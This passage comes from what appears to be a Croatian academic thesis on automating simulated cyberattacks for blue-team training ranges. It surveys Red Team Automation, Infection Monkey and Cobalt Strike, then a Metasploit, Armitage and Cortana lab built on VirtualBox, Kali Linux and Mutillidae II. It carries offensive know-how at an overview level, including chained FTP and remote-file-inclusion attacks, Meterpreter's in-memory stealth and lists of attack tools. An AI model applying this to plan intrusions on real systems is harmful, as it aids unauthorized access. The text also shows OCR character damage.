5. skrivanje tragova (engl. covering tracks): brisanje privremenih datoteka, dnev-

nickih zapisa i1 ostalih dokaza racunalnog napada

Izgradnja jednog velikog, monolitnog samostojeceg scenarija koji bi pokrio svih 5
faza racunalnog napada je vrlo kompleksan posao. Naime, taj jedan scenarij bi u sebi
odjednom trebao imati pohranjeno tisuée, ako ne i desetke tisu¢a manjih podscenarija,

odnosno tehnika napada.

Pokrivenost tehnika napada

Pokrivenost tehnika napada je kriterij kojim se odreduje koliko je Siroka baza napa-
dackih tehnika simulatora. Simulatori koji se isporucuju (engl. out-of-the-box) podr-

Zavaju mnogo razlicitih tehnika napada su prikladniji za rad u kiberneti¢kom poligonu,
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zato Sto ne zahtijevaju razvoj dodatnih scenarija koji bi bili prikladniji Zeljenim vjez-
bama, Sto predstavlja ustedu vremena, novCanih sredstava i potrebno je manje vrhun-
skih stru¢njaka specijaliziranih za raCunalne napade, kako bi se stvorili 1 pokrenuli

prikladni scenariji za vjeZzbe.

3.2.3. Izvodivost scenarija napada

Skupina kriterija koji opisuju izvodivost scenarija napada opisuju usputna svojstva si-
mulatora tijekom izvodenja (engl. runtime). Dijele se na tri dijela, koji su detaljnije

opisani u narednim potpoglavljima:
1. zaustavljanje scenarija tijekom izvodenja
2. mogucénost ¢iSéenja za napadackim programima (engl. cleanup)

3. biljezenje (engl. logging)

Zaustavljanje scenarija tijekom izvodenja

Moguénost zaustavljanja scenarija usred izvodenja omogucuje razinu fleksibilnosti pri-
likom izvodenja vjezbi na kibernetickom poligonu. Moze se dogoditi pogreSka u pri-
premi, konfiguraciji poligona ili scenarija, $Sto moZe dovesti do problemati¢nih situ-
acija prilikom izvodenja, zbog Cega je poZeljno imati moguénost zaustaviti scenarij

prije nego dode do takvih situacija.

Mogucénost ¢iSéenja za napadackim programima

Racunalni napad tijekom svog izvodenja koristi razliCite alate i programe, koji mogu
za sobom ostavljati pomoc¢ne datoteke, promjene Windows registara, modificirati kon-
figuracijske datoteke napadnutih sustava. Nakon izvodenja scenarija svi ti relikti se
moraju pocistiti prije izvodenja nove vjezbe. Repovi mogu potencijalno okinuti alarme
obrambenih alata zato Sto ostaci starih vjeZbi mogu biti indikatori proboja, Sto izaziva
ispravnu reakciju obrambenih mehanizama. To moZe postati problem jer tada se plavi
tim ne koncentrira na napade i indikatore proboja koji su cilj vjezZbe, nego na artefakte
zaostale iz proSlih vjezbi, Sto produljuje trajanje vjeZbe, otezava pracenje rada plavog
tima zato Sto se sada mora razlikovati reakcija na pokrenuti scenarij od reakcije na
zaostali dio starog scenarija. Ci¥¢enje za napadackim scenarijima moZe se ostvariti na

dva nacina:
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— nakon svake vjezbe napraviti povrat sustava na stanje prije izvodenja vjezbe

(engl. restore from snapshot)

— u simulator napada ugraditi mehanizam ciS¢enja

Prva opcija se na prvi pogled ¢ini jednostavnom i sigurnijom. Ovom metodom upra-
vitelj poligona osigurava da u poligonu ne ostanu repovi iz prethodne vjezbe. No ova
metoda ima problem. Problem je Sto vraanje poligona u stanje prije izvodenja vjezbe
moze biti dugotrajan i kompliciran proces, pogotovo ako se simuliraju veliki sustavi
s puno razli¢itih komponenti koje mozda primjenjuju razlicite vrste konfiguracije 1
upravljanja. Tada bi se mozda svaka komponenta ili vrsta komponente morala ru¢no
vracati u stanje prije izvodenja, Sto je mukotrpan i dugotrajan postupak s rizikom od
previda.

Druga opcija nalaZe da je simulator napada sam odgovoran za ¢iS¢enje za sobom.
Drugim rije¢ima, simulator u sebi mora imati ugraden mehanizam kojim se vrlo jed-
nostavno briSu svi tragovi njegova djelovanja. Ova metoda, ako je ispravno implemen-
tirana, daje bolju garanciju uspjesnog CiS€enja, zato Sto simulator, odnosno napadac
jedini sa sigurno$cu zna koje programe, alate i tehnike je koristio, te kakve promjene

na Zrtvama izazivaju ti programi, alati i tehnike.

BiljeZenje

Moguénost biljezenja (engl. logging) je vazna u bilo kakvoj programskoj podrsci i sus-
tavima zato Sto omogucuje detaljno pracenje rada sustava ili programske podrske prili-
kom testiranja ili ispravljanja greSaka u programskoj podrsci (engl. debugging). Prili-
kom izvodenja vjeZbe na kibernetickom poligonu biljeZenje pomaze ¢lanovima svih ti-
mova. Plavi tim analizira dnevnicke zapise (engl. log entry) diljem sustava u potrazi za
indikatorima proboja ili tragovima sumnjivog ponasanja na periferiji ili unutar mreze
koriStenjem sigurnosnih proizvoda, npr. sigurnosne stijene, sustavima za otkrivanje
i reakciju (engl. endpoint detection and response, EDR), te sustava SIEM. Upravitelj
sigurnosnim informacijama i dogadajima (engl. Security Information and Event Mana-
gement, SIEM), je skupina sigurnosnih rjeSenja nastala spajanjem prethodno odvojenih
sigurnosnih mehanizama: upravljanje sigurnosnim informacijama (engl. Security In-
Sformation Management, SIM) i upravljanje sigurnosnim dogadajima (engl. Security
Event Management, SEM). SIEM se koristi za analizu sigurnosnih alarma koje gene-
riraju komponente unutar sustava kojeg Stiti SIEM. Koristi se za optimizaciju reakcije
na racunalne napade i organizaciju dnevnickih zapisa koje generiraju komponente koje

su spojene sa SIEM-om.
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3.2.4. Upravljanje simulatorom napada

Skupina kriterija upravljivosti simulatorom napada ocjenjuje koliko je lako, odnosno
koliko je kompleksno upravljati odabranim simulatorom napada. Dijele se na tri seg-

menta:

1. Razina potrebne tehnicke stru¢nosti o racunalnoj sigurnosti (engl. Required se-

curity expertise)
2. Dokumentiranost simulatora

3. Dostupnost sucelja za rad sa simulatorom

Razina potrebne tehnicke struc¢nosti

Razina potrebne tehnicke stru¢nosti u podrucju raCunalne sigurnosti govori koliko du-
boko onaj koji upravlja simulatorom mora poznavati tehnike napada i ostala podrucja
racunalne sigurnosti. Naime, ako je simulator osmisljen tako da odabir scenarija na-
pada za vjezbu na kibernetickom poligonu ne zahtijeva duboko znanje o racunalnim
napadima, tada se broj potrebnih vrhunskih stru¢njaka koji ne sudjeluju direktno u
vjezbi smanjuje. Ovaj kriterij je moZda i najvazniji od triju, zato Sto manja potreba za
vrhunskim stru¢njacima za racunalne napade moze pozitivno stimulirati proracun za
treniranje ¢lanova plavog tima, odnosno sredstva uStedena na crvenom timu mogu se

preusmjeriti u drugi segment treniranja clanova plavog tima.

Dokumentiranost simulatora

Kvalitetna dokumentacija bilo kakve programske podrske je vazna iz nekoliko razloga
lize programskog koda shvatiti $to pojedini modul ili funkcija radi. Drugo, omogucuje
kvalitetan nastavak rada na istoj komponenti programske podrske i nakon Sto progra-
mer koji je radion na toj komponenti bude zamijenjen drugim programerom, zato $to,
zahvaljujuci dobro dokumentiranom kodu, ne mora trositi sate i sate kako bi inicijalno
razumio Sto i kako promatrani programski kod funkcionira. Trece, krajnji korisnik
programske podrske, ili aplikacijskog sucelja za programiranje (engl. Application Pro-
gramming Interface, API) ¢e puno lakSe i brze usvojiti kako raditi s navedenim pro-
izvodom, ¢ime se postiZe veca koriStenost navedene programske podrske ili API-a i

rastu¢a popularnost iste/og.

20



Iznad navedeni razlozi se jednako tako odnose i na bilo koji simulator napada.
Dobro dokumentirani simulator takoder utjece i na prethodno opisani kriterij, odnosno,
smanjuje se razina potrebnih tehnickih kompetencija u podrucju racunalne sigurnosti
1 napada za upravljanje simulatorom, buduci da dobra dokumentacija jasno prikazuje i

kako koristiti simulator.

Dostupnost sucelja simulatora

Sucelje programske podrske je nacin na koji korisnik koristi neku programsku podr-
Sku. Razlic¢ita korisni¢ka sucelja nose razlicite prednosti i mane. Jednako tako i kod
simulatora napada, jednostavnost koriStenja simulatora odreduju i dostupna korisnicka

sucelja za rad s njima.

3.3. Problemi automatizacije napada

Prethodno u ovom poglavlju opisana su neka generalna svojstva crvenog tima u ki-
bernetickim poligonima, te kriteriji kojima se mogu ocijeniti pojedine funkcionalnosti
simulatora napada. Ovo potpoglavlje navest ¢e nekoliko potencijalnih prepreka, ogra-
nicenja, tj. problema koji se mogu pojaviti prilikom koriStenja ili razvoja simulatora
za rad u kibernetickim poligonima.

Prvi potencijalni problem automatizacije je sloZenost razvoja povezanih scenarija.
Za proboj sustava moZe biti potrebno povezati viSe tehnika iskoriStavanja ranjivosti.
Primjerice, naCin proboja moze biti kombinacija ranjivosti anonimnog pristupa FTP
posluzitelju [34] 1 napada ukljucivanja udaljene datoteke. Za kombinirano iskoriSta-
vanje ovih ranjivosti potrebno je povezati FTP posluZitelj i web aplikaciju, odnosno,
zakljuciti da je korijenski direktorij (engl. web root) web aplikacije dostupan preko
FTP-a anonimnim pristupom. Za ovakve scenarije bilo bi potrebno implementirati
sloZene mehanizme analize podataka prikupljenih prilikom enumeracije posluzitelja.

Drugi potencijalni problem automatizacije je potreba za redovitim aZuriranjem ili
nadogradnjom scenarija. Programski alati koje scenarij koristi se aZuriraju kroz vri-
jeme, Sto moze dovesti do toga da se viSe ne mogu Koristiti na isti nacin, jer se mozda
promijenio oblik neke naredbe ili poziva na programsko sucelje, odnosno API. Tada
je potrebno modificirati scenarij da i dalje prikladno koristi taj alat. Takoder moZe se
dogoditi da prilikom izlaska nove inacice alata, ostale inaice postaju zastarjele te se
ne mogu prikladno koristiti unutar scenarij, dok se isti ne prilagodi za novu inacicu

alata. Ako se radi o alatima koji se Cesto aZuriraju, potrebne se i Ceste izmjene unutar
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simulatora, $to moZe rezultirati rjedim izvodenjem vjeZbi.

3.4. Postojeca rjeSenja

Simulacija racunalnih napada u kiberneti¢kim poligonima je ideja koja se razvija go-
tovo pa paralelno uz razvoj kiberneti¢kih poligona. U ovom potpoglavlju bit ¢e nave-
dena i ukratko opisana neka ve¢ postojeca rjeSenja ili komponente rjeSenja automati-
zacije raCunalnih napada za izvodenje vjezbi na kibernetickim poligonima. RjeSenja
koja ¢e se razmatrati u ovom radu su komercijalno rjeSenje Cobalt Strike [11] te rjeSe-

nja otvorenog koda:

— Red Team Automation, odnosno RTA

— Infection Monkey

3.4.1. Red Team Automation

Red Team Automation, skrateno RTA je simulator napada kojim plavi tim testira spo-
sobnosti detektiranja zlo¢udnih radnji. RTA se sastoji od viSe od 50 python skripti koje
izvode zlocudne aktivnosti ili samo emuliraju zloéudno ponasanje stvaranjem indika-
tora proboja, npr. ubrizgavanje unutar procesa (engl. process injection). Za koriStenje

RTA potrebno je:
1. instalirati Python 2.7 [23]
2. alate trece strane, nabrojane u RTA GitHub repozitoriju

3. preuzeti RTA repozitorij i raspakirati ga u zaseban direktorij, npr. C: \\RTA

3.4.2. Infection Monkey

Infection Monkey je alat otvorenog koda za testiranje otpornost sustava na proboje
izvana (engl. perimeter breach) i iznutra (engl. internal server infection) [48]. Infection

Monkey se sastoji od dvije komponente:

1. Monkey: zlocudni program koji se pokrece unutar komponenti napadnutog sus-

tava 1 Sirl mreZom

2. Monkey Island: posluZzitelj za upravljanje i pracenje (engl. Command and Con-

trol server, CnC server) rada monkey alata
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Alat Monkey pruza moguénost detaljne konfiguracije. Moguce je definirati koje teh-

nike e se koristiti, koje IP adrese ¢e se razmatrati prilikom lateralnog Sirenja itd.

3.4.3. Cobalt Strike

Cobalt Strike je program za izvodenje operacija crvenog tima i simulaciju napadaca
(engl. adversary) [11]. Nastao je iz Armitage, grafickog alata za koristenje Metasploit
platforme. Danas je Cobalt Strike nezavisna komercijalna platforma. Funkcionalnosti

koje nudi dijele se na:

— prikupljanje informacija (engl. recoinnaissance)

paketi za izradu napadackih objekata (engl. attack packages), npr. dokumenata

socijalno inZenjerstvo tehnikom spear phishing [47]

timski rad

moduli za postupke nakon proboja sustava (engl. post-exploitation)

zaobilaZenje dvo-faktorske autentifikacije tehnikom browser pivoting [65]

sastavljanje izvjeStaja (engl. reporting) 1 biljeZenje (engl. logging)
Od inacice 3.0, Cobalt Strike je postao neovisan od Metasploit, te koristi svoje interne

module za izvodenje racunalnih napada.
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4. Automatizacija napada koristenjem

Metasploit radnog okvira

U prethodnom poglavlju predstavljen je koncept simulatora racunalnih napada za izvo-
denje vjezbi na kibernetickim poligonima. Ovo poglavlje obraduje razvoj scenarija za
automatizirane napade koriStenjem Metasploit radnog okvira i njegovih mogucnosti.
Prvo e biti predstavljeno okruZenje u kojem su testirani alati u 3.4 i scenariji razvijeni
alatima opisanima kasnije u ovom poglavlju. Nakon toga se opisuju komponente kori-
Stene za razvoj scenarija: Metasploit radni okvir, zatim Armitage platforma i skriptni

jezik Cortana.

4.1. Razvojno okruZenje

Prije testiranja alata ili razvoja novih alata ili scenarija, potrebno je postaviti testno
okruzenje, koje ¢e u Sto vecoj mjeri obuhvatiti sve §to je potrebno za kvalitetnu evalu-

aciju i razvoj. Testno okruzenje se sastoji od Cetiri komponente:
1. platforma za virtualizaciju VirtualBox

2. virtualni strojevi (engl. virtual machines) posluzitelja razlicitih operacijskih sus-

tava
3. ranjiva web aplikacija Mutillidae

4. linux distribucija za razvoj 1 izvodenje scenarija racunalnog napada - Kali Linux

4.1.1. Virtualizacijska platforma - VirtualBox

Za testiranje napada i funkcionalnosti simulatora napada, koristit ée se posluzitelji
instalirani kao virtualni strojevi na platformi VirtualBox. VirtualBox je platforma za

virtualizaciju za sklopovlje obitelji arhitektura instrukcijskih setova (engl. instruction
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set architecture) x86, ciljana za koriStenje u posluZiteljskom, stolnom (engl. desktop)
ili ugradbenom (engl. embedded) okruzenju. Virtualizacija se moZe Koristiti za viSe
razliCitih sluCajeva. Koristi se kada je potrebno pokrenuti neki drugi operacijski sustav
bez da se ponovno pokrece cijelo raCunalo. Koristi se kada se Zeli pokrenuti program
za koji je potreban specifican operacijski sustav. Tada se moZda ne isplati posvetiti
jedno cijelo racunalo za jedan komad programske podrske, nego se cijeli operacijski
sustav, zajedno s instaliranom doti¢nom programskom podrSkom, preseli na virtualni
stroj. Ovdje Ce biti objasnjene Cetiri funkcionalnosti platforme VirtualBox, koje su od

posebnog znacaja za razvoj simulatora napada za kiberneticki poligon:
1. virtualno umrezavanje (engl. virtual networking)
2. izvoz virtualnih strojeva (engl. virtual machine export)
3. kloniranje virtualnih strojeva

4. snimanje stanja (engl. snapshot) virtualnog stroja

Virtualno umrezavanje

Virtualno umreZavanje je funkcionalnost virtualizacijske platforme koja virtualnim
strojevima moZe omoguditi:
— pristup Internetu
— mreZznu komunikaciju s operacijskim sustavom domaéinom (engl. host opera-
ting system)
— umreZenost virtualnih strojeva

— mreZnu prisutnost u lokalnoj mrezi operacijskog sustava domacina

VirtualBox podrzava do 8 virtualnih PCI Ethernet mreznih kartica, u sucelju navede-
nih kao virtualni mreZni pretvornici (engl. virtual network adapter) za svaki virtualni
stroj. Do Cetiri mreZne kartice se mogu konfigurirati koriStenjem grafickog korisnickog
sucelja, Sto je prikazano na slici 4.1.

Za svaku virtualnu mreznu karticu mogu se konfigurirati sklopovlje (engl. virtuali-
zation hardware) koje se simulira i nacin rada (engl. virtualization mode). VirtualBox

platforma podrzava sljedece virtualno sklopovlje:

— AMD PCNet PCI II (Am79C970A)
— AMD PCNet FAST III (Am79C973): pretpostavljeni izbor
— Intel PRO/1000 MT Desktop (82540EM)
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Slika 4.1: Prikaz postavljanja mreZnih postavki za virtualni stroj kali-linux

— Intel PRO/1000 T Server (82543GC)
— Intel PRO/1000 MT Server (82545EM)

— paravirtualizirani mrezni pretvornik (engl. paravirtualized network adapter)

Mode VM->Host VM<-Host VM1<->VM2VM->Net/LANVM<-Net/LAN

Host-only + + + - -
Internal - - + . i}
Bridged + + + + +
NAT + Port forward - + Port forward
NATservice + Port forward + + Port forward

Tablica 4.1: Tablica nacina rada virtualnih mreZnih kartica VirtualBox platforme

Izvoz i kloniranje virtualnog stroja

Virtualni stroj se moZe moze zapakirati u arhivu formata Open Virtualization Format.
Slika 4.2 prikazuje izgled VirtualBox grafickog korisni¢kog sucelja. Slika 4.3 1 ispis
4.1 prikazuju postupak pakiranja virtualnog stroja imena ’kali-linux’ u arhivu. Pos-
tupak izvoza virtualnog stroja zapocinje desnim klikom miSa na virtualni stroj koji se
Zeli izvesti 1 odabirom opcije Export to OCI.... Zatim se otvara prozor prikazan na slici
4.3. Nakon postavljanja opcija izvoza: putanje ciljne arhive, inaCice formata arhive

itd., rezultat izvoza prikazan je ispisom 4.1. Redci 2-8 u ispisu 4.1 prikazuju sadrZaj
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Slika 4.3: Prozor izbornik kojim se podeSavaju opcije izvoza virtualnog stroja u OVF arhivu

direktorija u kojem su pohranjeni podaci o virtualnom stroju ’kali-linux’. Redak 10 pri-
kazuje rezultat naredbe file <staza-do-datoteke. Iz sadrzaja retka 10 moZe
se vidjeti da datoteka kali-linux.ova uistinu je arhiva, ¢ime je proces izvoza virtualnog
stroja zavrSen. Horizontalno skaliranje virtualnih strojeva istih konfiguracija moze se

posti¢i i kloniranjem virtualnog stroja. Ova moguénost se koristi kada se virtualni stroj
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1 darian@dell-vostro-3558:~/VirtualBox-VMs/kali-linux$ 1ls -1
2 total 43635276

3-rw——————- 1 darian darian 14403571200 lip 9 16:25 kali-linux.
ova

4 —rw——————- 1 darian darian 19873 lip 7 23:59 kali-linux.vbox

5 -rw—————- 1 darian darian 19873 lip 7 18:02 kali-linux.vbox-—
prev

6 —rw-——————- 1 darian darian 30280777728 lip 3 21:52 kali-linux.
vdi

7 drwx—————— 2 darian darian 4096 lip 7 18:02 Logs

8 drwx—————— 2 darian darian 4096 lip 7 18:02 Snapshots

9 darian@dell-vostro—-3558:~/VirtualBox-VMs/kali—-linux$ file kali
-linux.ova
10 kali-linux.ova: POSIX tar archive

11 darian@dell-vostro-3558:~/VirtualBox-VMs/kali-1linux$

Ispis 4.1: Rezultat izvoza virtualnog stroja u OVF arhivu

Zeli horizontalno skalirati na istom maticnom racunalu. ViSe informacija o VirtualBox

platformi te njegovim drugim funkcionalnostima moZe se pronaci na [29].

4.1.2. Virtualizirani posluzitelji

U svrhu testiranja postojeéih simulatora napada, Sto je opisano u 3.4, istraZivanja mo-
guénosti i drugih testiranja potrebno je testno okruzenje opremiti raznovrsnim racuna-
lima, kako bi se kvalitetno ispitao rad simulatora. Za potrebe ovog rada podignut je
jedan par Windows posluZitelja i jedan par Ubuntu posluZzitelja, a svojstva i1 konfigura-

cije tih posluzitelja slijede opisane su u dodacima C i D.

4.1.3. Ranjiva web aplikacija - Mutillidae 11

Nakon postavljanja virtualnih posluZitelja koji tvore virtualni sustav koji se napada, u
okolinu je potrebno ugraditi usluge koje su izloZene prema korisnicima, odnosno na-
padacu. Zbog vremenskih i tehnic¢kih ogranicenja, jedina usluga koja je pokrenuta u
razvojnom okruZenju bit ¢e web aplikacija Mutillidae razvijena u edukacijske svrhe,
tj. sluzi poducavanju sigurnosnih stru¢njaka o ranjivostima web aplikacija i tehnikama
iskoriStavanja istih. OWASP Mutillidae II je besplatna namjerno ranjiva web aplikacija

otvorenog koda stvorena za istrazivanje sigurnosti web aplikacija. Aplikacija se insta-
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lira i pokrec¢e na XAMPP stogu. XAMPP je stog tehnologija za razvoj web aplikacija.

Tehnologije na kojima se bazira stog su navedene u njegovu akronimu:
X : viSeplatformski (engl. cross-platform)
A pache[6]: HTTP posluZzitelj

M ariaDB [16]: ppravitelj bazama podataka (engl. DataBase Management System,
DBMS), nasljednik MySQL upravitelja bazama podataka

P HP [22]: programski jezik za razvoj web aplikacija
P erl [21]: obitelj dvaju programskih jezika Perl i Raku

XAMPP stog je zamiSljen kao viSeplatformsko okruZenje, koje se moZe instalirati na
sve tri poznate skupine operacijskih sustava: Windows, Linux i MacOS. Danas postoje

1 specijaliziranije inaCice XAMPP stoga, prilagodene pojedinoj platformi:

LAMP (Linux Apache MySQL PHP/Perl/Python): platforma otvorenog koda pri-

lagodena za Linux distribucije

WAMP (Windows Apache MySQL PHP): platforma za operacijske sustave Windows,

istice se bogatim korisnickim suceljem
MAMP (MacOS Apache MySQL PHP): platforma za MacOS operacijski sustav

Vise informacija i upute za instalaciju Mutillidae II aplikacije nalazi se na [18].

4.1.4. Kali Linux

Kali Linux je Linux distribucija otvorenog koda, koja je specijalizirana za izvodenje
penetracijskog testiranja, istraZivanje sigurnosti, racunalnu forenziku i reverzno inZe-
njerstvo. Kali je razvila tvrtka Offensive Security, koja se bavi edukacijom 1 certificira-
njem u podrucju ofenzivne racunalne sigurnosti. OffSec takoder odrZzava bazu metoda
iskoriStavanja ranjivosti (engl. exploit) Exploit Database. Kali se bazira na Debian
Linux distribuciji. Logo Kali Linux distribucije prikazan je na slici 4.4. Kali Linux
nudi pregrst alata koji se mogu smjestiti u nekoliko kategorija, koje su uz nekoliko

pripadnih alate navedene ispod:
prikupljanje informacija: Nmap, Wireshark, nikto, SSLyze

analiza ranjivosti: openvas, unix-privesc-check
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Slika 4.4: Logo Kali Linux distribucije

iskoristavanje ranjivosti: BeEF, sqlmap, Metasploit Framework

napadi na bezi¢ne mreze: Aircrack-ng, Wifi Honey

forenzicki alati: Autopsy, Volatility

alati za web aplikacije: Burp Suite, DirBuster

stres-testiranje: Termineter, DHCPig

laZiranje (engl. spoofing) i ''njuskanje' (engl. sniffing): ssistrip, DNSChef
probijanje zaporki: hashcat, crunch

zadrzavanje pristupa: Powersploit, HTTPTunnel

probijanje sklopovlja: Arduino, apktool

reverzno inzenjerstvo: OllyDbg, edb-debugger

izrada izvjeStaja: Dradis, cherrytree

4.2. Metasploit, Armitage, Cortana

Za razvoj 1 testiranje scenarija napada koriSteni su radni okvir Metasploit, Armitage
program 1 skriptni jezik Cortana. Prvo Ce se predstaviti radni okvir Metasploit, nje-

govi nedostaci za simulaciju napada. Nakon toga se predstavlja Armitage, problemi
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Metasploita koje Armitage rjeSava. Slijedi skriptni jezik Cortana, koji daje potenci-
jal automatizaciji rada Metasploit radnog okvira. Konacno, prati se proces izgradnje

scenarija za rad u kontekstu kibernetickog poligona, te testiranje istog.

4.2.1. Radni okvir Metasploit

Metasploit radni okvir (engl. framework) je platforma za penetracijsko testiranje koja
omogucuje potragu za tehnikama iskoriStavanja ranjivosti, provodenje tih tehnika i
validaciju otkrivenih ranjivosti. Pruza infrastrukturu, alate i resurse za izvodenje pene-
tracijskog testiranja i opSirnog pradenja stanja sigurnosti (engl. security audit). Radni

okvir se sastoji od nekoliko alata:

msfconsole - suCelje naredbenog retka (engl. command-line interface, CLI)

msfdb - alat za upravljanje bazom podataka Metasploit radnog okvira

msfrpc - alat za spajanje na RPC instancu Metasploita

msfrepd - alat koji posluzuje RPC instancu Metasploita

msfvenom - alat za generiranje tereta (engl. payload)

Svaki od iznad navedenih alata ima svoje sluCajeve uporabe (engl. use-case), ali ovaj
rad ¢e viSe paZnje posvetiti alatu msfconsole. Alat msfconsole je najkoristenije sucelje
Metasploit radnog okvira. Preko njega je moguce koristiti gotovo sve funkcionalnosti
platforme. Kao napredno sucelje naredbenog retka, podrZava sve napredne funkcional-

nosti CLI sucelja:

— nadopunjavanje naredbi (engl. command completion)
— biljeZenje povijesti naredbi

— funkcionalnost viSedretvenog rada uz poslove u pozadini (engl. background
job)

Glavna gradevna jedinica Metasploit radnog okvira je modul. Modul je programski

paket koji izvodi specifi¢an zadatak u kontekstu penetracijskog testa. Moduli u Metas-

ploit radnog okviru dijele se na sljedece kategorije:

— tehnike iskoriStavanja ranjivosti (engl. exploits)
— pomo¢ni moduli (engl. auxiliary)

— tereti (engl. payloads)

— koderi (engl. encoders)

— moduli za prazne naredbe (engl. nops)
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Moduli tehnika iskoriStavanja ranjivosti (engl. exploit modules) su moduli koji se ko-
riste za iskoriStavanje otkrivenih ranjivosti, a za svoje izvodenje koriste teret (engl. payload).
Pomo¢ni moduli ukljucuju skenere, fuzzere!, itd. Najée$ce se koriste za enumeraciju
usluga, npr. SSH ili SMB. Tereti se sastoji od programskog koda koji je namijenjen
izvrSavanju na racunalu, odnosno sustavu Zrtve. Kako bi teret sigurno i neizmjenjen
stigao na odrediste, koriste se koderi, koji zamaskiraju teret u prijenosu do Zrtve. Mo-
duli za prazne naredbe se koriste kao ispuna, kako bi se oCuvala originalna veli¢ina

ukupnog tereta koji se Salje na sustav Zrtve.

4.2.2. Armitage

Problem koji se mozZe javiti prilikom koriStenjem Metasploit radnog okvira jest nedos-
tatak otvorenog grafickog korisnickog sucelja i vrlo dobro poznavanje tehnika racunal-
nih napada. Za vrhunske stru¢njake ofenzivne sigurnosti ovo ne bi trebalo predstavljati
problem, ali ako se Metasploit zeli ukomponirati u kiberneticki poligon, potrebno je
olaksati rukovanje platformom te §to je viSe moguée automatizirati rad s platformom.
Armitage se nalaZe kao potencijalno rjeSenje tog problema. Armitage je alat za za-
jednicki rad crvenog tima za Metasploit radni okvir koji podrzava skriptiranje. Ima
graficko korisnicko sucelje, Sto omogucuje vizualizaciju sustava koji se napada, ¢ime
se olakSava rukovanje Metasploit platformom. Armitage takoder ima funkcionalnost
preporucivanja tehnika iskoriStavanja ranjivosti, te podrZzava automatizirano izvodenje
faze nakon iskoriStavanja pocetne ranjivosti.

Armitage olakSava rad svojom organizacijom modula. Moduli su organizirani prema
fazama racunalnog napada koje su prikazane na slici 4.5. Slika 4.5 prikazuje raS¢lambu
racunalnog napada koju Armitage koristi za grupiranje i organizaciju modula. Faza
skeniranja ili uvoza raunala, na slici zeleni pravokutnik, ukljucuje dodavanje racunala
u skup Zrtava. KoriStenjem grafickog prikaza racunala, moguce je slikovito prikazati
rezultate skeniranja pokrenutih unutar ili izvan Armitagea, $to je veliki plus u kon-
tekstu upravljivosti alatom za napad. KoriStenjem informacija prikupljenih iz zelene
faze, Armitage ima ugraden sustav preporuke sljedecih koraka za crvenu fazu, koja ¢e
ovdje biti nazvana fazom iskoriStavanja ranjivosti. Crvena faza ukljucuje provjeru dje-
lotvornosti pojedine tehnike iskoriStavanja ranjivosti i fino podeSavanje opcija napada.
Nakon uspjeSnog izvrSavanja crvene faze, slijedi plava faza, koja za cilj ima potpuno

preuzimanje napadnutog racunala. Armitage koristi ugradene mehanizme Meterpre-

Ufuzzer - program, ili alat koji izvrava fuzz test, koji slanjem neispravnog ili zZloéudnog unosa testira

dio programa, koji obraduje korisnicki unos
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Import
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Dump Hashes Steal Data

Setup Pivoting

Slika 4.5: Proces racunalnog napada prema Armitage alatu

tera, kako bi operatoru Armitagea omogudio preuzimanje racunala klikom misa.
Meterpreter je napredan i dinamicki proSiriv teret (engl. payload) koji se koristi
za naprednije izvodenje faze tzv. "post-eksploatacije”. Meterpreter ima niz prednosti

mad klasi¢nom inverznom ljuskom, a neki od njih su:

— Meterpreter je u potpunosti pohranjen u radnoj memoriji
— ubrizgava se direktno u memoriju kompromitiranog procesa
— komunikacija napadaca s Meterpreterom je Sifrirana

— mogude je tijekom Zivog napada ugraditi nove funkcionalnosti i procedure u

Meterpreter sjednicu

Nakon $to je racunalo Zrtva preoteta u potpunosti, ovisno o opsegu testiranja i po-
vezanosti testiranih sustava, moze se krenuti u ¢etvrtu, Zutu fazu: pripremu premjestaju
(engl. setup pivoting). Zuta faza u sebi salinjava pripremne radnje za lateralno Sirenje

kroz testiranu mrezu.
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Armitage je zamiSljen ne samo kao graficko sucelje za Metasploit radni okvir, nego
takoder 1 podrzava timski rad, tzv. Multi-Player, koji omogucuje kolaborativni rad

na jednom projektu. Slika 4.6 prikazuje proces pokretanja Armitage primjerka. Od

fa) Connect... [ [darian@kali-dell-vostr.. [E] darian@kali-dell-vostro... =m]lS57AMOC Al & ¢

File Actions Edit View Help

:~$ sudo armitage
[sudo] password for darian:
0

Connect...
127.0.0.1

55553

Connect

Slika 4.6: Podesavanje postavki RPC posluzitelja

korisnika se trazi da upiSe potrebne podatke o Metasploit RPC posluzitelju. Podaci se
sastoje od IP adrese i vratiju (engl. port) na kojima RPC posluzitelj opsluzuje zahtjeve,

te od vjerodajnice kojima se svaki ¢lan registrira za rad.

Armitage - o x
Armitage View Hosts Attacks Workspaces Help
» [ auxiliary
> (& exploit
> [ payload
» ([ post

96 -T4 -n -sn 192

t

ed 1 host
hed msf scans at: 192

oved 1 host

darian-pentester>

Slika 4.7: Armitage graficko korisnicko sucelje

Slika 4.7 prikazuje graficko korisnicko sucelje Armitage platforme. Glavna odlika
Armitagea kao sucelja za rad jest graficki prikaz svih racunala koja se testiraju, zajedno

s relevantnim informacijama o istima:
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IP adrese racunala

— vrata otvorenih na racunalu

usluga koje su pokrenute na racunalu

je li raunalo probijeno (engl. "pwned")?

Na ekranu za racunala su prikazani primjerak Ubuntu posluZitelja na kojem je po-
krenuta Mutillidae II web aplikacija, Windows posluzitelj koji je takoder dio testne
okoline, racunalo domacin koje pokrece virtualizacijsku platformu i sve virtualne stro-
jeve, ukljuCujuci i primjerak Kali-Linux virtualnog stroja, etvrtog racunala na slici.
S lijeve strane je hijerarhijski prikaz dostupnih modula, koji su navedeni u ovom pot-
poglavlju, dvoklikom se otvara prozor konfiguriranja modula, te se nakon toga modul
pokrece. U donjoj polovici ekrana je prostor za konzole i tabli¢ne prikaze. Ovdje se
nalaze primjerci konzole koji su svojom funkcionalno$¢u jednaki nezavisnoj aplikaciji
msfconsole.

Armitage nije moguce pokrenuti bez infrastrukture za kolaborativni rad, koja mi-
nimalno mora sadrzavati Metasploit RPC posluzitelj. Metasploit RPC posluzitelj je
veza izmedu Armitagea 1 Metasploita. Svi podaci koji se pohranjuju u Metasploit in-
frastrukturu su dostupni za sve ¢lanove tima, bili oni primjerak procesa Armitagea,
primjerak msfconsole ili automatizirani ¢lan u obliku Cortana skripte. Cortana je
skriptni programski jezik koji se koristi za razvoj automatiziranih jedinica (engl. bot),
koji izvrSavaju specifi¢ne zadace, npr. na svaku novododanu uslugu pokrecu neki enu-
meracijski test. Cortana je bazirana na skriptnom jeziku Sleep i izvodi se na Javinom

virtualnom stroju.

1# cp.sl [original file] [new file]
2 # open file

3%in = openf (RARGVI[0]);

4 # read data from file

5 $data = readb ($in, -1);

6 # open new file handler??

7 Sout = openf (">" . QARGVI[1]);
8 # write data to file

9writeb (Sout, $data);

10 # close all resources (JAVA)
11 closef ($in);

